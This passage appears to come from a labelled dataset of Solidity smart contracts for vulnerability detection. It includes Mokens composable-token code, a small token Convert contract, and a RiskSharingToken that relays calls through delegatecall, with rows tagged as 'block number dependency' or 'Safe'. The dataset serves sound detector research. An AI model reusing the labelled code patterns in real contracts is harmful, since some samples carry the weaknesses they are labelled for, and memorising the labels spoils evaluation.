function transferFrom(address _from, address _to, uint _value) external returns (bool success); function transfer(address to, uint value) external returns (bool success); function transfer(address to, uint value, bytes data) external returns (bool success); } interface ERC998ERC721BottomUp { function transferToParent(address _from, address _toContract, uint256 _toTokenId, uint256 _tokenId, bytes _data) external; } contract AbstractMokens { address public owner; struct Moken { string name; uint256 data; uint256 parentTokenId; } mapping(uint256 => Moken) internal mokens; uint256 internal mokensLength = 0; string public defaultURIStart = ""https://api.mokens.io/moken/""; string public defaultURIEnd = "".json""; uint256 public blockNum; mapping(uint256 => bytes32) internal eras; uint256 internal eraLength = 0; mapping(bytes32 => uint256) internal eraIndex; uint256 public mintPriceOffset = 0 szabo; uint256 public mintStepPrice = 500 szabo; uint256 public mintPriceBuffer = 5000 szabo; bytes4 constant ERC721_RECEIVED_NEW = 0x150b7a02; bytes4 constant ERC721_RECEIVED_OLD = 0xf0b9e5ba; bytes32 constant ERC998_MAGIC_VALUE = 0xcd740db5; uint256 constant UINT16_MASK = 0x000000000000000000000000000000000000000000000000000000000000ffff; uint256 constant MOKEN_LINK_HASH_MASK = 0xffffffffffffffff000000000000000000000000000000000000000000000000; uint256 constant MOKEN_DATA_MASK = 0x0000000000000000ffffffffffffffffffffffffffffffffffffffffffffffff; uint256 constant MAX_MOKENS = 4294967296; uint256 constant MAX_OWNER_MOKENS = 65536; mapping(address => mapping(uint256 => address)) internal rootOwnerAndTokenIdToApprovedAddress; mapping(address => mapping(address => bool)) internal tokenOwnerToOperators; mapping(address => uint32[]) internal ownedTokens; mapping(address => mapping(uint256 => uint256)) internal childTokenOwner; mapping(uint256 => mapping(address => uint256[])) internal childTokens; mapping(uint256 => mapping(address => mapping(uint256 => uint256))) internal childTokenIndex; mapping(uint256 => mapping(address => uint256)) internal childContractIndex; mapping(uint256 => address[]) internal childContracts; mapping(uint256 => address[]) internal erc20Contracts; mapping(uint256 => mapping(address => uint256)) internal erc20Balances; mapping(address => mapping(uint256 => uint32[])) internal parentToChildTokenIds; mapping(uint256 => uint256) internal tokenIdToChildTokenIdsIndex; address[] internal mintContracts; mapping(address => uint256) internal mintContractIndex; mapping(string => uint256) internal tokenByName_; mapping(uint256 => mapping(address => uint256)) erc20ContractIndex; address public delegate; mapping(bytes4 => bool) internal supportedInterfaces; event Transfer(address indexed _from, address indexed _to, uint256 indexed _tokenId); event Approval(address indexed _tokenOwner, address indexed _approved, uint256 indexed _tokenId); event ApprovalForAll(address indexed _tokenOwner, address indexed _operator, bool _approved); event ReceivedChild(address indexed _from, uint256 indexed _tokenId, address indexed _childContract, uint256 _childTokenId); event TransferChild(uint256 indexed tokenId, address indexed _to, address indexed _childContract, uint256 _childTokenId); event ReceivedERC20(address indexed _from, uint256 indexed _tokenId, address indexed _erc20Contract, uint256 _value); event TransferERC20(uint256 indexed _tokenId, address indexed _to, address indexed _erc20Contract, uint256 _value); function isContract(address addr) internal view returns (bool) { uint256 size; assembly {size := extcodesize(addr)} return size > 0; } modifier onlyOwner() { require(msg.sender == owner, ""Must be the contract owner.""); _; } function rootOwnerOf(uint256 _tokenId) public view returns (bytes32 rootOwner) { address rootOwnerAddress = address(mokens[_tokenId].data); require(rootOwnerAddress != address(0), ""tokenId not found.""); uint256 parentTokenId; bool isParent; while (rootOwnerAddress == address(this)) { parentTokenId = mokens[_tokenId].parentTokenId; isParent = parentTokenId > 0; if(isParent) { _tokenId = parentTokenId - 1; } else { _tokenId = childTokenOwner[rootOwnerAddress][_tokenId]-1; } rootOwnerAddress = address(mokens[_tokenId].data); } parentTokenId = mokens[_tokenId].parentTokenId; isParent = parentTokenId > 0; if(isParent) { parentTokenId--; } bytes memory calldata; bool callSuccess; if (isParent == false) { calldata = abi.encodeWithSelector(0xed81cdda, address(this), _tokenId); assembly { callSuccess := staticcall(gas, rootOwnerAddress, add(calldata, 0x20), mload(calldata), calldata, 0x20) if callSuccess { rootOwner := mload(calldata) } } if (callSuccess == true && rootOwner >> 224 == ERC998_MAGIC_VALUE) { return rootOwner; } else { return ERC998_MAGIC_VALUE << 224 | bytes32(rootOwnerAddress); } } else { calldata = abi.encodeWithSelector(0x43a61a8e, parentTokenId); assembly { callSuccess := staticcall(gas, rootOwnerAddress, add(calldata, 0x20), mload(calldata), calldata, 0x20) if callSuccess { rootOwner := mload(calldata) } } if (callSuccess == true && rootOwner >> 224 == ERC998_MAGIC_VALUE) { return rootOwner; } else { address childContract = rootOwnerAddress; calldata = abi.encodeWithSelector(0x6352211e, parentTokenId); assembly { callSuccess := staticcall(gas, rootOwnerAddress, add(calldata, 0x20), mload(calldata), calldata, 0x20) if callSuccess { rootOwnerAddress := mload(calldata) } } require(callSuccess, ""Call to ownerOf failed""); calldata = abi.encodeWithSelector(0xed81cdda, childContract, parentTokenId); assembly { callSuccess := staticcall(gas, rootOwnerAddress, add(calldata, 0x20), mload(calldata), calldata, 0x20) if callSuccess { rootOwner := mload(calldata) } } if (callSuccess == true && rootOwner >> 224 == ERC998_MAGIC_VALUE) { return rootOwner; } else { return ERC998_MAGIC_VALUE << 224 | bytes32(rootOwnerAddress); } } } } function rootOwnerOfChild(address _childContract, uint256 _childTokenId) public view returns (bytes32 rootOwner) { uint256 tokenId; if (_childContract != address(0)) { tokenId = childTokenOwner[_childContract][_childTokenId]; require(tokenId != 0, ""Child token does not exist""); tokenId--; } else { tokenId = _childTokenId; } return rootOwnerOf(tokenId); } function childApproved(address _from, uint256 _tokenId) internal { address approvedAddress = rootOwnerAndTokenIdToApprovedAddress[_from][_tokenId]; if(msg.sender != _from) { bytes32 tokenOwner; bool callSuccess; bytes memory calldata = abi.encodeWithSelector(0xed81cdda, address(this), _tokenId); assembly { callSuccess := staticcall(gas, _from, add(calldata, 0x20), mload(calldata), calldata, 0x20) if callSuccess { tokenOwner := mload(calldata) } } if(callSuccess == true) { require(tokenOwner >> 224 != ERC998_MAGIC_VALUE, ""Token is child of top down composable""); } require(tokenOwnerToOperators[_from][msg.sender] || approvedAddress == msg.sender, ""msg.sender not _from/operator/approved.""); } if (approvedAddress != address(0)) { delete rootOwnerAndTokenIdToApprovedAddress[_from][_tokenId]; emit Approval(_from, address(0), _tokenId); } } function _transferFrom(uint256 data, address _to, uint256 _tokenId) internal { address _from = address(data); uint256 lastTokenIndex = ownedTokens[_from].length - 1; uint256 lastTokenId = ownedTokens[_from][lastTokenIndex]; if (lastTokenId != _tokenId) { uint256 tokenIndex = data >> 160 & UINT16_MASK; ownedTokens[_from][tokenIndex] = uint32(lastTokenId); mokens[lastTokenId].data = mokens[lastTokenId].data & 0xffffffffffffffffffff0000ffffffffffffffffffffffffffffffffffffffff | tokenIndex << 160; } ownedTokens[_from].length--; uint256 ownedTokensIndex = ownedTokens[_to].length; require(ownedTokensIndex < MAX_OWNER_MOKENS, ""A token owner address cannot possess more than 65,536 mokens.""); mokens[_tokenId].data = data & 0xffffffffffffffffffff00000000000000000000000000000000000000000000 | ownedTokensIndex << 160 | uint256(_to); ownedTokens[_to].push(uint32(_tokenId)); emit Transfer(_from, _to, _tokenId); } } contract MokensDelegate is AbstractMokens { event MintPriceConfigurationChange( uint256 mintPrice, uint256 mintStepPrice, uint256 mintPriceOffset, uint256 mintPriceBuffer ); event MintPriceChange( uint256 mintPrice ); event TransferToParent(address indexed _toContract, uint256 indexed _toTokenId, uint256 _tokenId); event TransferFromParent(address indexed _fromContract, uint256 indexed _fromTokenId, uint256 _tokenId); function withdraw(address _sendTo, uint256 _amount) external onlyOwner { address mokensContract = address(this); require(_amount <= mokensContract.balance, ""Amount is greater than balance.""); _sendTo.transfer(_amount); } function transferOwnership(address _newOwner) external onlyOwner { require(_newOwner != address(0), ""_newOwner cannot be 0 address.""); owner = _newOwner; } event LinkHashChange( uint256 indexed tokenId, bytes32 linkHash ); function updateLinkHash(uint256 _tokenId, bytes32 _linkHash) external { address rootOwner = address(rootOwnerOf(_tokenId)); require(rootOwner == msg.sender || tokenOwnerToOperators[rootOwner][msg.sender] || rootOwnerAndTokenIdToApprovedAddress[rootOwner][_tokenId] == msg.sender, ""msg.sender not rootOwner/operator/approved.""); uint256 data = mokens[_tokenId].data & MOKEN_DATA_MASK | uint256(_linkHash) & MOKEN_LINK_HASH_MASK; mokens[_tokenId].data = data; emit LinkHashChange(_tokenId, bytes32(data)); } function setDefaultURIStart(string _defaultURIStart) external onlyOwner { defaultURIStart = _defaultURIStart; } function setDefaultURIEnd(string _defaultURIEnd) external onlyOwner { defaultURIEnd = _defaultURIEnd; } function tokenURI(uint256 _tokenId) external view returns (string tokenURIString) { require(_tokenId < mokensLength, ""_tokenId does not exist.""); return makeIntString(defaultURIStart, _tokenId, defaultURIEnd); } function makeIntString(string startString, uint256 v, string endString) private pure returns (string) { uint256 maxlength = 10; bytes memory reversed = new bytes(maxlength); uint256 numDigits = 0; if (v == 0) { numDigits = 1; reversed[0] = byte(48); } else { while (v != 0) { uint256 remainder = v % 10; v = v / 10; reversed[numDigits++] = byte(48 + remainder); } } bytes memory startStringBytes = bytes(startString); bytes memory endStringBytes = bytes(endString); uint256 startStringLength = startStringBytes.length; uint256 endStringLength = endStringBytes.length; bytes memory newStringBytes = new bytes(startStringLength + numDigits + endStringLength); uint256 i; for (i = 0; i < startStringLength; i++) { newStringBytes[i] = startStringBytes[i]; } for (i = 0; i < numDigits; i++) { newStringBytes[i + startStringLength] = reversed[numDigits - 1 - i]; } for (i = 0; i < endStringLength; i++) { newStringBytes[i + startStringLength + numDigits] = endStringBytes[i]; } return string(newStringBytes); } event NewEra( uint256 index, bytes32 name, uint256 startTokenId ); function startNextEra_(bytes32 _eraName) private returns (uint256 index, uint256 startTokenId) { require(_eraName != 0, ""eraName is empty string.""); require(eraIndex[_eraName] == 0, ""Era name already exists.""); startTokenId = mokensLength; index = eraLength++; eras[index] = _eraName; eraIndex[_eraName] = index + 1; emit NewEra(index, _eraName, startTokenId); return (index, startTokenId); } function startNextEra(bytes32 _eraName, uint256 _mintStepPrice, uint256 _mintPriceOffset, uint256 _mintPriceBuffer) external onlyOwner returns (uint256 index, uint256 startTokenId, uint256 mintPrice) { require(_mintStepPrice < 10000 ether, ""mintStepPrice must be less than 10,000 ether.""); mintStepPrice = _mintStepPrice; mintPriceOffset = _mintPriceOffset; mintPriceBuffer = _mintPriceBuffer; uint256 totalStepPrice = mokensLength * _mintStepPrice; require(totalStepPrice >= _mintPriceOffset, ""(mokensLength * mintStepPrice) must be greater than or equal to mintPriceOffset.""); mintPrice = totalStepPrice - _mintPriceOffset; emit MintPriceConfigurationChange(mintPrice, _mintStepPrice, _mintPriceOffset, _mintPriceBuffer); emit MintPriceChange(mintPrice); (index, startTokenId) = startNextEra_(_eraName); return (index, startTokenId, mintPrice); } function startNextEra(bytes32 _eraName) external onlyOwner returns (uint256 index, uint256 startTokenId) { return startNextEra_(_eraName); } function setMintPrice(uint256 _mintStepPrice, uint256 _mintPriceOffset, uint256 _mintPriceBuffer) external onlyOwner returns (uint256 mintPrice) { require(_mintStepPrice < 10000 ether, ""mintStepPrice must be less than 10,000 ether.""); mintStepPrice = _mintStepPrice; mintPriceOffset = _mintPriceOffset; mintPriceBuffer = _mintPriceBuffer; uint256 totalStepPrice = mokensLength * _mintStepPrice; require(totalStepPrice >= _mintPriceOffset, ""(mokensLength * mintStepPrice) must be greater than or equal to mintPriceOffset.""); mintPrice = totalStepPrice - _mintPriceOffset; emit MintPriceConfigurationChange(mintPrice, _mintStepPrice, _mintPriceOffset, _mintPriceBuffer); emit MintPriceChange(mintPrice); return mintPrice; } function addMintContract(address _contract) external onlyOwner { require(isContract(_contract), ""Address is not a contract.""); require(mintContractIndex[_contract] == 0, ""Contract already added.""); mintContracts.push(_contract); mintContractIndex[_contract] = mintContracts.length; } function removeMintContract(address _contract) external onlyOwner { uint256 index = mintContractIndex[_contract]; require(index != 0, ""Mint contract was not added.""); uint256 lastIndex = mintContracts.length - 1; address lastMintContract = mintContracts[lastIndex]; mintContracts[index - 1] = lastMintContract; mintContractIndex[lastMintContract] = index; delete mintContractIndex[_contract]; mintContracts.length--; } function removeChild(uint256 _fromTokenId, address _childContract, uint256 _childTokenId) private { uint256 lastTokenIndex = childTokens[_fromTokenId][_childContract].length - 1; uint256 lastToken = childTokens[_fromTokenId][_childContract][lastTokenIndex]; if (_childTokenId != lastToken) { uint256 tokenIndex = childTokenIndex[_fromTokenId][_childContract][_childTokenId]; childTokens[_fromTokenId][_childContract][tokenIndex] = lastToken; childTokenIndex[_fromTokenId][_childContract][lastToken] = tokenIndex; } childTokens[_fromTokenId][_childContract].length--; delete childTokenIndex[_fromTokenId][_childContract][_childTokenId]; delete childTokenOwner[_childContract][_childTokenId]; if (lastTokenIndex == 0) { uint256 lastContractIndex = childContracts[_fromTokenId].length - 1; address lastContract = childContracts[_fromTokenId][lastContractIndex]; if (_childContract != lastContract) { uint256 contractIndex = childContractIndex[_fromTokenId][_childContract]; childContracts[_fromTokenId][contractIndex] = lastContract; childContractIndex[_fromTokenId][lastContract] = contractIndex; } childContracts[_fromTokenId].length--; delete childContractIndex[_fromTokenId][_childContract]; } } function safeTransferChild(uint256 _fromTokenId, address _to, address _childContract, uint256 _childTokenId) external { uint256 tokenId = childTokenOwner[_childContract][_childTokenId]; require(tokenId != 0, ""Child token does not exist""); require(_fromTokenId == tokenId - 1, ""_fromTokenId does not own the child token.""); require(_to != address(0), ""_to cannot be 0 address.""); address rootOwner = address(rootOwnerOf(_fromTokenId)); require(rootOwner == msg.sender || tokenOwnerToOperators[rootOwner][msg.sender] || rootOwnerAndTokenIdToApprovedAddress[rootOwner][_fromTokenId] == msg.sender, ""msg.sender not rootOwner/operator/approved.""); removeChild(_fromTokenId, _childContract, _childTokenId); ERC721(_childContract).safeTransferFrom(this, _to, _childTokenId); emit TransferChild(_fromTokenId, _to, _childContract, _childTokenId); } function safeTransferChild(uint256 _fromTokenId, address _to, address _childContract, uint256 _childTokenId, bytes _data) external { uint256 tokenId = childTokenOwner[_childContract][_childTokenId]; require(tokenId != 0, ""Child token does not exist""); require(_fromTokenId == tokenId - 1, ""_fromTokenId does not own the child token.""); require(_to != address(0), ""_to cannot be 0 address.""); address rootOwner = address(rootOwnerOf(_fromTokenId)); require(rootOwner == msg.sender || tokenOwnerToOperators[rootOwner][msg.sender] || rootOwnerAndTokenIdToApprovedAddress[rootOwner][_fromTokenId] == msg.sender, ""msg.sender not rootOwner/operator/approved.""); removeChild(_fromTokenId, _childContract, _childTokenId); ERC721(_childContract).safeTransferFrom(this, _to, _childTokenId, _data); emit TransferChild(_fromTokenId, _to, _childContract, _childTokenId); } function transferChild(uint256 _fromTokenId, address _to, address _childContract, uint256 _childTokenId) external { uint256 tokenId = childTokenOwner[_childContract][_childTokenId]; require(tokenId != 0, ""Child token does not exist""); require(_fromTokenId == tokenId - 1, ""_fromTokenId does not own the child token.""); require(_to != address(0), ""_to cannot be 0 address.""); address rootOwner = address(rootOwnerOf(_fromTokenId)); require(rootOwner == msg.sender || tokenOwnerToOperators[rootOwner][msg.sender] || rootOwnerAndTokenIdToApprovedAddress[rootOwner][_fromTokenId] == msg.sender, ""msg.sender not rootOwner/operator/approved.""); removeChild(_fromTokenId, _childContract, _childTokenId); bytes memory calldata = abi.encodeWithSelector(0x095ea7b3, this, _childTokenId); assembly { let success := call(gas, _childContract, 0, add(calldata, 0x20), mload(calldata), calldata, 0) } ERC721(_childContract).transferFrom(this, _to, _childTokenId); emit TransferChild(_fromTokenId, _to, _childContract, _childTokenId); } function transferChildToParent(uint256 _fromTokenId, address _toContract, uint256 _toTokenId, address _childContract, uint256 _childTokenId, bytes _data) external { uint256 tokenId = childTokenOwner[_childContract][_childTokenId]; require(tokenId != 0, ""Child token does not exist""); require(_fromTokenId == tokenId - 1, ""_fromTokenId does not own the child token.""); require(_toContract != address(0), ""_toContract cannot be 0 address.""); address rootOwner = address(rootOwnerOf(_fromTokenId)); require(rootOwner == msg.sender || tokenOwnerToOperators[rootOwner][msg.sender] || rootOwnerAndTokenIdToApprovedAddress[rootOwner][_fromTokenId] == msg.sender, ""msg.sender not rootOwner/operator/approved.""); removeChild(_fromTokenId, _childContract, _childTokenId); ERC998ERC721BottomUp(_childContract).transferToParent(address(this), _toContract, _toTokenId, _childTokenId, _data); emit TransferChild(_fromTokenId, _toContract, _childContract, _childTokenId); } function removeERC20(uint256 _tokenId, address _erc20Contract, uint256 _value) private { if (_value == 0) { return; } uint256 erc20Balance = erc20Balances[_tokenId][_erc20Contract]; require(erc20Balance >= _value, ""Not enough token available to transfer.""); uint256 newERC20Balance = erc20Balance - _value; erc20Balances[_tokenId][_erc20Contract] = newERC20Balance; if (newERC20Balance == 0) { uint256 lastContractIndex = erc20Contracts[_tokenId].length - 1; address lastContract = erc20Contracts[_tokenId][lastContractIndex]; if (_erc20Contract != lastContract) { uint256 contractIndex = erc20ContractIndex[_tokenId][_erc20Contract]; erc20Contracts[_tokenId][contractIndex] = lastContract; erc20ContractIndex[_tokenId][lastContract] = contractIndex; } erc20Contracts[_tokenId].length--; delete erc20ContractIndex[_tokenId][_erc20Contract]; } } function transferERC20(uint256 _tokenId, address _to, address _erc20Contract, uint256 _value) external { address rootOwner = address(rootOwnerOf(_tokenId)); require(rootOwner == msg.sender || tokenOwnerToOperators[rootOwner][msg.sender] || rootOwnerAndTokenIdToApprovedAddress[rootOwner][_tokenId] == msg.sender, ""msg.sender not rootOwner/operator/approved.""); require(_to != address(0), ""_to cannot be 0 address""); removeERC20(_tokenId, _erc20Contract, _value); require(ERC20AndERC223(_erc20Contract).transfer(_to, _value), ""ERC20 transfer failed.""); emit TransferERC20(_tokenId, _to, _erc20Contract, _value); } function transferERC223(uint256 _tokenId, address _to, address _erc223Contract, uint256 _value, bytes _data) external { address rootOwner = address(rootOwnerOf(_tokenId)); require(rootOwner == msg.sender || tokenOwnerToOperators[rootOwner][msg.sender] || rootOwnerAndTokenIdToApprovedAddress[rootOwner][_tokenId] == msg.sender, ""msg.sender not rootOwner/operator/approved.""); require(_to != address(0), ""_to cannot be 0 address""); removeERC20(_tokenId, _erc223Contract, _value); require(ERC20AndERC223(_erc223Contract).transfer(_to, _value, _data), ""ERC223 transfer failed.""); emit TransferERC20(_tokenId, _to, _erc223Contract, _value); } function getERC20(address _from, uint256 _tokenId, address _erc20Contract, uint256 _value) public { bool allowed = _from == msg.sender; if (!allowed) { uint256 remaining; bytes memory calldata = abi.encodeWithSelector(0xdd62ed3e, _from, msg.sender); bool callSuccess; assembly { callSuccess := staticcall(gas, _erc20Contract, add(calldata, 0x20), mload(calldata), calldata, 0x20) if callSuccess { remaining := mload(calldata) } } require(callSuccess, ""call to allowance failed""); require(remaining >= _value, ""Value greater than remaining""); allowed = true; } require(allowed, ""msg.sender not _from and has no allowance.""); erc20Received(_from, _tokenId, _erc20Contract, _value); require(ERC20AndERC223(_erc20Contract).transferFrom(_from, this, _value), ""ERC20 transfer failed.""); } function erc20Received(address _from, uint256 _tokenId, address _erc20Contract, uint256 _value) private { require(address(mokens[_tokenId].data) != address(0), ""_tokenId does not exist.""); if (_value == 0) { return; } uint256 erc20Balance = erc20Balances[_tokenId][_erc20Contract]; if (erc20Balance == 0) { erc20ContractIndex[_tokenId][_erc20Contract] = erc20Contracts[_tokenId].length; erc20Contracts[_tokenId].push(_erc20Contract); } erc20Balances[_tokenId][_erc20Contract] += _value; emit ReceivedERC20(_from, _tokenId, _erc20Contract, _value); } function tokenFallback(address _from, uint256 _value, bytes _data) external { require(_data.length > 0, ""_data must contain the uint256 tokenId to transfer the token to.""); require(isContract(msg.sender), ""msg.sender is not a contract""); uint256 tokenId; assembly { tokenId := calldataload(132) } if (_data.length < 32) { tokenId = tokenId >> 256 - _data.length * 8; } erc20Received(_from, tokenId, msg.sender, _value); } function removeBottomUpChild(address _fromContract, uint256 _fromTokenId, uint256 _tokenId) internal { uint256 lastChildTokenIndex = parentToChildTokenIds[_fromContract][_fromTokenId].length - 1; uint256 lastChildTokenId = parentToChildTokenIds[_fromContract][_fromTokenId][lastChildTokenIndex]; if (_tokenId != lastChildTokenId) { uint256 currentChildTokenIndex = tokenIdToChildTokenIdsIndex[_tokenId]; parentToChildTokenIds[_fromContract][_fromTokenId][currentChildTokenIndex] = uint32(lastChildTokenId); tokenIdToChildTokenIdsIndex[lastChildTokenId] = currentChildTokenIndex; } parentToChildTokenIds[_fromContract][_fromTokenId].length--; } function transferFromParent(address _fromContract, uint256 _fromTokenId, address _to, uint256 _tokenId, bytes _data) external { require(_fromContract != address(0), ""_fromContract cannot be the 0 address.""); require(_to != address(0), ""_to cannot be the 0 address.""); uint256 data = mokens[_tokenId].data; require(address(data) == _fromContract, ""The tokenId is not owned by _fromContract.""); uint256 parentTokenId = mokens[_tokenId].parentTokenId; require(parentTokenId != 0, ""Token does not have a parent token.""); require(parentTokenId - 1 == _fromTokenId, ""tokenId not owned by _fromTokenId""); address rootOwner = address(rootOwnerOf(_tokenId)); address approvedAddress = rootOwnerAndTokenIdToApprovedAddress[rootOwner][_tokenId]; require(rootOwner == msg.sender || tokenOwnerToOperators[rootOwner][msg.sender] || approvedAddress == msg.sender, ""msg.sender not rootOwner/operator/approved.""); if (approvedAddress != address(0)) { delete rootOwnerAndTokenIdToApprovedAddress[rootOwner][_tokenId]; emit Approval(rootOwner, address(0), _tokenId); } mokens[_tokenId].parentTokenId = 0; removeBottomUpChild(_fromContract, _fromTokenId, _tokenId); delete tokenIdToChildTokenIdsIndex[_tokenId]; _transferFrom(data, _to, _tokenId); if (isContract(_to)) { bytes4 retval = ERC721TokenReceiver(_to).onERC721Received(msg.sender, _fromContract, _tokenId, _data); require(retval == ERC721_RECEIVED_NEW, ""Contract cannot receive ERC721 token.""); } emit TransferFromParent(_fromContract, _fromTokenId, _tokenId); } function transferToParent(address _from, address _toContract, uint256 _toTokenId, uint256 _tokenId, bytes _data) external { require(_from != address(0), ""_from cannot be the 0 address.""); require(_toContract != address(0), ""toContract cannot be 0""); uint256 data = mokens[_tokenId].data; require(address(data) == _from, ""The tokenId is not owned by _from.""); require(mokens[_tokenId].parentTokenId == 0, ""Cannot transfer from address when owned by a token.""); childApproved(_from, _tokenId); uint256 parentTokenId = _toTokenId + 1; assert(parentTokenId > _toTokenId); mokens[_tokenId].parentTokenId = parentTokenId; uint256 index = parentToChildTokenIds[_toContract][_toTokenId].length; parentToChildTokenIds[_toContract][_toTokenId].push(uint32(_tokenId)); tokenIdToChildTokenIdsIndex[_tokenId] = index; _transferFrom(data, _toContract, _tokenId); require(ERC721(_toContract).ownerOf(_toTokenId) != address(0), ""_toTokenId does not exist""); emit TransferToParent(_toContract, _toTokenId, _tokenId); } function transferAsChild(address _fromContract, uint256 _fromTokenId, address _toContract, uint256 _toTokenId, uint256 _tokenId, bytes _data) external { require(_fromContract != address(0), ""_fromContract cannot be the 0 address.""); require(_toContract != address(0), ""_toContract cannot be the 0 address.""); uint256 data = mokens[_tokenId].data; require(address(data) == _fromContract, ""The tokenId is not owned by _fromContract.""); uint256 parentTokenId = mokens[_tokenId].parentTokenId; require(parentTokenId != 0, ""Token does not have a parent token.""); require(parentTokenId - 1 == _fromTokenId, ""tokenId not owned by _fromTokenId""); address rootOwner = address(rootOwnerOf(_tokenId)); address approvedAddress = rootOwnerAndTokenIdToApprovedAddress[rootOwner][_tokenId]; require(rootOwner == msg.sender || tokenOwnerToOperators[rootOwner][msg.sender] || approvedAddress == msg.sender, ""msg.sender not rootOwner/operator/approved.""); if (approvedAddress != address(0)) { delete rootOwnerAndTokenIdToApprovedAddress[rootOwner][_tokenId]; emit Approval(rootOwner, address(0), _tokenId); } removeBottomUpChild(_fromContract, _fromTokenId, _tokenId); parentTokenId = _toTokenId + 1; assert(parentTokenId > _toTokenId); mokens[_tokenId].parentTokenId = parentTokenId; uint256 index = parentToChildTokenIds[_toContract][_toTokenId].length; parentToChildTokenIds[_toContract][_toTokenId].push(uint32(_tokenId)); tokenIdToChildTokenIdsIndex[_tokenId] = index; _transferFrom(data, _toContract, _tokenId); require(ERC721(_toContract).ownerOf(_toTokenId) != address(0), ""_toTokenId does not exist""); emit Transfer(_fromContract, _toContract, _tokenId); emit TransferFromParent(_fromContract, _fromTokenId, _tokenId); emit TransferToParent(_toContract, _toTokenId, _tokenId); } function getStateHash(uint256 _tokenId) public view returns (bytes32 stateHash) { address[] memory childContracts_ = childContracts[_tokenId]; stateHash = keccak256(childContracts_); uint256 length = childContracts_.length; uint256 i; for (i = 0; i < length; i++) { stateHash = keccak256(stateHash, childTokens[_tokenId][childContracts_[i]]); } address[] memory erc20Contracts_ = erc20Contracts[_tokenId]; stateHash = keccak256(erc20Contracts_); length = erc20Contracts_.length; for (i = 0; i < length; i++) { stateHash = keccak256(stateHash, erc20Balances[_tokenId][erc20Contracts_[i]]); } uint256 linkHash = mokens[_tokenId].data & MOKEN_LINK_HASH_MASK; return keccak256(stateHash, linkHash); } }",./Dataset/block number dependency (BN),0,0 0x0297fdbcb9c2023bc05ad44c9f6e69b0ae6261ce_Convert.sol,"pragma solidity ^0.4.21; contract Convert { address owner; address public fromContractAddr; address public toContractAddr; mapping (uint => bool) public isConvert; modifier onlyOwner { require(msg.sender == owner); _; } function Convert() public { owner = msg.sender; } function setFromContractAddr(address _addr) public onlyOwner { fromContractAddr = _addr; } function setToContractAddr(address _addr) public onlyOwner { toContractAddr = _addr; } function getNewToken(uint _tokenId) public { IFrom ifrom = IFrom(fromContractAddr); require(ifrom.ownerOf(_tokenId) == msg.sender); require(isConvert[_tokenId] == false); isConvert[_tokenId] = true; ITo ito = ITo(toContractAddr); ito.issueTokenAndTransfer(1, msg.sender); } /* only read */ } interface IFrom { function ownerOf (uint256 _itemId) public view returns (address _owner); } interface ITo { function issueTokenAndTransfer(uint256 _count, address to) public; }",Safe,8,8 27767.sol,"pragma solidity ^0.4.10; contract IERC20Token { function totalSupply() public constant returns ( uint256 supply ) { supply; } function balanceOf( address _owner ) public constant returns ( uint256 balance ) { _owner; balance; } function allowance( address _owner, address _spender ) public constant returns ( uint256 remaining ) { _owner; _spender; remaining; } function transfer( address _to, uint256 _value ) public returns ( bool success ); function transferFrom( address _from, address _to, uint256 _value ) public returns ( bool success ); function approve( address _spender, uint256 _value ) public returns ( bool success ); } contract RegaUtils { modifier validAddress( address _address ) { require( _address != 0x0 ); _; } function safeAdd( uint256 x, uint256 y ) internal returns( uint256 ) { uint256 z = x + y; assert( z >= x ); return z; } function safeSub( uint256 x, uint256 y ) internal returns( uint256 ) { assert( x >= y); return x - y; } } contract ERC20Token is IERC20Token, RegaUtils { uint256 public totalSupply = 0; mapping( address => uint256 ) public balanceOf; mapping( address => mapping( address => uint256 ) ) public allowance; event Transfer( address indexed _from, address indexed _to, uint256 _value ); event Approval( address indexed _owner, address indexed _spender, uint256 _value ); function transfer( address _to, uint256 _value ) validAddress( _to ) returns( bool success ) { balanceOf[ msg.sender ] = safeSub( balanceOf[ msg.sender ], _value ); balanceOf[ _to ] = safeAdd( balanceOf[ _to ], _value ); Transfer( msg.sender, _to, _value ); return true; } function transferFrom( address _from, address _to, uint256 _value ) validAddress( _from ) validAddress( _to ) returns( bool success ) { allowance[ _from ][ msg.sender ] = safeSub( allowance[ _from ][ msg.sender ], _value ); balanceOf[ _from] = safeSub( balanceOf[_from], _value ); balanceOf[ _to] = safeAdd( balanceOf[_to], _value ); Transfer( _from, _to, _value ); return true; } function approve( address _spender, uint256 _value ) validAddress( _spender ) returns( bool success) { require( _value == 0 || allowance[ msg.sender ][ _spender ] == 0 ); allowance[ msg.sender ][ _spender ] = _value; Approval( msg.sender, _spender, _value ); return true; } } contract RSTBase is ERC20Token { address public board; address public owner; address public votingData; address public tokenData; address public feesData; uint256 public reserve; uint32 public crr; uint256 public weiForToken; uint8 public totalAccounts; modifier boardOnly() { require(msg.sender == board); _; } } contract TokenControllerBase is RSTBase { function init() public; function isSellOpen() public constant returns(bool); function isBuyOpen() public constant returns(bool); function sell(uint value) public; function buy() public payable; function addToReserve() public payable; } contract VotingControllerBase is RSTBase { function voteFor() public; function voteAgainst() public; function startVoting() public; function stopVoting() public; function getCurrentVotingDescription() public constant returns (bytes32 vd) ; } contract FeesControllerBase is RSTBase { function init() public; function withdrawFee() public; function calculateFee() public; function addPayee( address payee ) public; function removePayee( address payee ) public; function setRepayment( ) payable public; } contract RiskSharingToken is RSTBase { string public constant version = ""0.1""; string public constant name = ""REGA Risk Sharing Token""; string public constant symbol = ""RST""; uint8 public constant decimals = 10; TokenControllerBase public tokenController; VotingControllerBase public votingController; FeesControllerBase public feesController; modifier ownerOnly() { require( msg.sender == owner ); _; } modifier boardOnly() { require( msg.sender == board ); _; } modifier authorized() { require( msg.sender == owner || msg.sender == board); _; } function RiskSharingToken( address _board ) { board = _board; owner = msg.sender; tokenController = TokenControllerBase(0); votingController = VotingControllerBase(0); weiForToken = uint(10)**(18-1-decimals); reserve = 0; crr = 20; totalAccounts = 0; } function() payable { } function setTokenController( TokenControllerBase tc, address _tokenData ) public boardOnly { tokenController = tc; if( _tokenData != address(0) ) tokenData = _tokenData; if( tokenController != TokenControllerBase(0) ) if( !tokenController.delegatecall(bytes4(sha3(""init()""))) ) revert(); } function setVotingController( VotingControllerBase vc ) public boardOnly { votingController = vc; } function startVoting( bytes32 ) public boardOnly validAddress(votingController) { if( !votingController.delegatecall(msg.data) ) revert(); } function stopVoting() public boardOnly validAddress(votingController) { if( !votingController.delegatecall(msg.data) ) revert(); } function voteFor() public validAddress(votingController) { if( !votingController.delegatecall(msg.data) ) revert(); } function voteAgainst() public validAddress(votingController) { if( !votingController.delegatecall(msg.data) ) revert(); } function buy() public payable validAddress(tokenController) { if( !tokenController.delegatecall(msg.data) ) revert(); } function sell( uint ) public validAddress(tokenController) { if( 